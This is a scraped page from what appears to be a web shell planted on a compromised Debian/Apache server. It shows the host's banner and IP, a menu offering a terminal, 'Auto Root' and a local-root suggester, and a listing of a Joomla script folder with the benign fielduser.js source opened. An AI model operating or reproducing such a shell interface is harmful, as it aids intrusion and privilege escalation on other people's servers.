Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
vnsm /
media /
jui /
js /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax-chosen.js
4.37
KB
-rwxr-xr-x
2023-07-08 16:23
ajax-chosen.min.js
2.75
KB
-rwxr-xr-x
2023-07-08 16:23
bootstrap-tooltip-extended.js
5.76
KB
-rwxr-xr-x
2023-07-08 16:23
bootstrap-tooltip-extended.min.js
2.42
KB
-rwxr-xr-x
2023-07-08 16:23
bootstrap.js
62.68
KB
-rwxr-xr-x
2023-07-08 16:23
bootstrap.min.js
28.44
KB
-rwxr-xr-x
2023-07-08 16:23
chosen.jquery.js
46.81
KB
-rwxr-xr-x
2023-07-08 16:23
chosen.jquery.min.js
33.44
KB
-rwxr-xr-x
2023-07-08 16:23
cms-uncompressed.js
8.16
KB
-rwxr-xr-x
2023-07-08 16:23
cms.js
3.58
KB
-rwxr-xr-x
2023-07-08 16:23
fielduser.js
4.16
KB
-rwxr-xr-x
2023-07-08 16:23
fielduser.min.js
2.35
KB
-rwxr-xr-x
2023-07-08 16:23
html5-uncompressed.js
10.09
KB
-rwxr-xr-x
2023-07-08 16:23
html5.js
2.67
KB
-rwxr-xr-x
2023-07-08 16:23
icomoon-lte-ie7.js
9.64
KB
-rwxr-xr-x
2023-07-08 16:23
jquery-migrate.js
22.95
KB
-rwxr-xr-x
2023-07-08 16:23
jquery-migrate.min.js
9.82
KB
-rwxr-xr-x
2023-07-08 16:23
jquery-noconflict.js
21
B
-rwxr-xr-x
2023-07-08 16:23
jquery.autocomplete.js
33.79
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.autocomplete.min.js
12.8
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.js
292.38
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.min.js
95.36
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.minicolors.js
40.27
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.minicolors.min.js
15.08
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.searchtools.js
10.54
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.searchtools.min.js
7.4
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.simplecolors.js
5.83
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.simplecolors.min.js
3.02
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.ui.core.js
44.05
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.ui.core.min.js
20.01
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.ui.sortable.js
39.51
KB
-rwxr-xr-x
2023-07-08 16:23
jquery.ui.sortable.min.js
23.85
KB
-rwxr-xr-x
2023-07-08 16:23
sortablelist.js
9.38
KB
-rwxr-xr-x
2023-07-08 16:23
treeselectmenu.jquery.js
3.41
KB
-rwxr-xr-x
2023-07-08 16:23
treeselectmenu.jquery.min.js
2.56
KB
-rwxr-xr-x
2023-07-08 16:23
Save
Rename
/** * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Field user */ ;(function($){ 'use strict'; $.fieldUser = function(container, options){ // Merge options with defaults this.options = $.extend({}, $.fieldUser.defaults, options); // Set up elements this.$container = $(container); this.$modal = this.$container.find(this.options.modal); this.$modalBody = this.$modal.children('.modal-body'); this.$input = this.$container.find(this.options.input); this.$inputName = this.$container.find(this.options.inputName); this.$buttonSelect = this.$container.find(this.options.buttonSelect); // Bind events this.$buttonSelect.on('click', this.modalOpen.bind(this)); this.$modal.on('hide', this.removeIframe.bind(this)); // Check for onchange callback, var onchangeStr = this.$input.attr('data-onchange'), onchangeCallback; if(onchangeStr) { onchangeCallback = new Function(onchangeStr); this.$input.on('change', onchangeCallback.bind(this.$input)); } }; // display modal for select the file $.fieldUser.prototype.modalOpen = function() { var $iframe = $('<iframe>', { name: 'field-user-modal', src: this.options.url.replace('{field-user-id}', this.$input.attr('id')), width: this.options.modalWidth, height: this.options.modalHeight }); this.$modalBody.append($iframe); this.$modal.modal('show'); $('body').addClass('modal-open'); var self = this; // save context $iframe.load(function(){ var content = $(this).contents(); // handle value select content.on('click', '.button-select', function(){ self.setValue($(this).data('user-value'), $(this).data('user-name')); self.modalClose(); $('body').removeClass('modal-open'); }); }); }; // close modal $.fieldUser.prototype.modalClose = function() { this.$modal.modal('hide'); this.$modalBody.empty(); $('body').removeClass('modal-open'); }; // close modal $.fieldUser.prototype.removeIframe = function() { this.$modalBody.empty(); $('body').removeClass('modal-open'); }; // set the value $.fieldUser.prototype.setValue = function(value, name) { this.$input.val(value).trigger('change'); this.$inputName.val(name || value).trigger('change'); }; // default options $.fieldUser.defaults = { buttonSelect: '.button-select', // selector for button to change the value input: '.field-user-input', // selector for the input for the user id inputName: '.field-user-input-name', // selector for the input for the user name modal: '.modal', // modal selector url : 'index.php?option=com_users&view=users&layout=modal&tmpl=component', modalWidth: '100%', // modal width modalHeight: '300px' // modal height }; $.fn.fieldUser = function(options){ return this.each(function(){ var $el = $(this), instance = $el.data('fieldUser'); if(!instance){ var options = options || {}, data = $el.data(); // Check options in the element for (var p in data) { if (data.hasOwnProperty(p)) { options[p] = data[p]; } } instance = new $.fieldUser(this, options); $el.data('fieldUser', instance); } }); }; // Initialise all defaults on load and again when subform rows are added $(function($) { initUserField(); $(document).on('subform-row-add', initUserField); function initUserField (event, container) { $(container || document).find('.field-user-wrapper').fieldUser(); } }); })(jQuery); // Compatibility with mootools modal layout function jSelectUser(element) { var $el = jQuery(element), value = $el.data('user-value'), name = $el.data('user-name'), fieldId = $el.data('user-field'), $inputValue = jQuery('#' + fieldId + '_id'), $inputName = jQuery('#' + fieldId); if (!$inputValue.length) { // The input not found return; } // Update the value $inputValue.val(value).trigger('change'); $inputName.val(name || value).trigger('change'); // Check for onchange callback, var onchangeStr = $inputValue.attr('data-onchange'), onchangeCallback; if(onchangeStr) { onchangeCallback = new Function(onchangeStr); onchangeCallback.call($inputValue[0]); } jModalClose(); }